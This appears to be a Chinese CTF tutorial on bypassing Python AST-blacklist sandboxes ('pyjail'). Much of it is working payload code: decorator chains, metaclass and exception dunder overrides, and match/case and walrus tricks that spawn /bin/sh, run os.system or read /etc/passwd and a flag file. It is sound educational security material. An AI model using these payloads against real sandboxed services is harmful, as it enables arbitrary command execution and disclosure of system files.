pyjail bypass-08 绕过 AST 沙箱

 

绕过 AST 沙箱

AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

下面的 without call 来源于 hacktricks

without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

装饰器

利用 payload 如下,乍一看可能有些迷惑,但该 payload 实际上等效于 exec(input(X))

@exec
@input
class X:
    pass

当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

>>> @exec
... @input
... class X:
...     pass
... 
<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如使用单层的装饰器,打开 help 函数.

@help
class X:
    pass

这样可以直接进入帮助文档:

Help on class X in module __main__:

class X(builtins.object)
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)
(END)

再次输入 !sh 即可打开 /bin/sh

或是给装饰器加一些参数。

import os

def fake_wrapper(f):
  return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
  pass

相当于:

getattr(os,"system")(fake_wrapper(something))

亦或者自定义一个装饰器:

import os

def fake_wrapper(f):
  return '/bin/sh'

@os.system
@fake_wrapper
def something():
  pass

相当于 os.system(fake_wrapper(something)),也就是 os.system(‘/bin/sh’)

函数覆盖

我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:

>>> class A:
...     __getitem__ = exec
... 
>>> A()['__import__("os").system("ls")']

但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?

metaclass 利用

Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

class Metaclass(type):
    __getitem__ = exec 
    
class Sub(metaclass=Metaclass):
    pass

Sub['import os; os.system("sh")']

除了 __getitem__ 之外其他方法的利用方式如下:

__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

class Metaclass(type):
    __sub__ = exec
    
class Sub(metaclass=Metaclass):
    pass

Sub-'import os; os.system("sh")'
exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec 
    
raise RCE 

raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.

当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__.

通过 license 函数读取文件

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']

payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:

class MyContext:
    pass
    
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

绕过 ast.Attribute 获取属性

如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。

最简单的示例,匹配字符串:

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

对于基本类型的匹配比较好理解,下面是一个匹配类的示例:

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。

这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,可以编写如下的 match/case 语句:

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

可以看到 x 就是 ''.__class__. 因为所有的类都输入 object 类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。

match str():
    case object(__class__=x):
        print(x==''.__class__)

# True

再测试一下该 payload 的 AST:

import os
import ast 

a = '''
match str():
    case str(__class__=x):
        print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))

AST 如下:

Module(
    body=[
        Match(
            subject=Call(
                func=Name(id='str', ctx=Load()),
                args=[],
                keywords=[]),
            cases=[
                match_case(
                    pattern=MatchClass(
                        cls=Name(id='str', ctx=Load()),
                        patterns=[],
                        kwd_attrs=[
                            '__class__'],
                        kwd_patterns=[
                            MatchAs(name='x')]),
                    body=[
                        Expr(
                            value=Call(
                                func=Name(id='print', ctx=Load()),
                                args=[
                                    Name(id='x', ctx=Load())],
                                keywords=[]))])])],
    type_ignores=[])

可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute

我们可以构造替代 ''.__class__.__base__.__subclasses__()的 payload:

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

绕过 ast.Assign 赋值变量

ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式进行绕过。例如:

[
    system:=111,
    bash:=222
]

此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign

Module(
    body=[
        Expr(
            value=List(
                elts=[
                    NamedExpr(
                        target=Name(id='system', ctx=Store()),
                        value=Constant(value=111)),
                    NamedExpr(
                        target=Name(id='bash', ctx=Store()),
                        value=Constant(value=222))],
                ctx=Load()))],
    type_ignores=[])

绕过 ast.Constant 获取数字、字符串

题目限制了 ast.Constant,所以无法直接使用数字、字符串常量,但通过其他的函数组合可以构造出数字和字符串。 例如:

"" : str()
0  : len([])
"0": str(len([]))
"1": str(len([str()]))  str(len([min]))
"2": str(len([str(),str()]))  str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))

如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但也可以自己手动实现一个 chr。

当然,题目 builtins 允许 dict 和 list,因此可以直接用这两个函数直接构造出字符串,这种方式在我此前的博客:pyjail bypass-02 绕过基于字符串匹配的过滤 中有提到过。

在这个 payload 中,需要构造出 _wrap_close、system、bash

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

那么就可以通过下面的方式获取到这几个字符串:

list(dict(system=[]))[0]            # system
list(dict(_wrap_close=[]))[0]       # _wrap_close
list(dict(bash=[]))[0]              # bash

绕过 ast.Subscript 获取列表/字典元素

题目同时限定了 ast.Subscript,因此无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。

match globals:
    case object(get=get_func):
        get_func("system")

绕过 ast.For 遍历列表

在构造最终 payload 中,我们还需要在 __subclasses__()得到的列表中获取到 _wrap_close 类。

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时可以使用 filter,如下所示:

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(__name__=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

fitler 中使用 match/case 和 if 来进行过滤。

除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。

打印 AST

import os
import ast 

BAD_ATS = {
  ast.Attribute,
  ast.AST,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

a = '''
[
    system:=111,
    bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))


for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
  if type(x) in BAD_ATS:
    print(type(x))
    exit()

print("[+] OK")

参考资料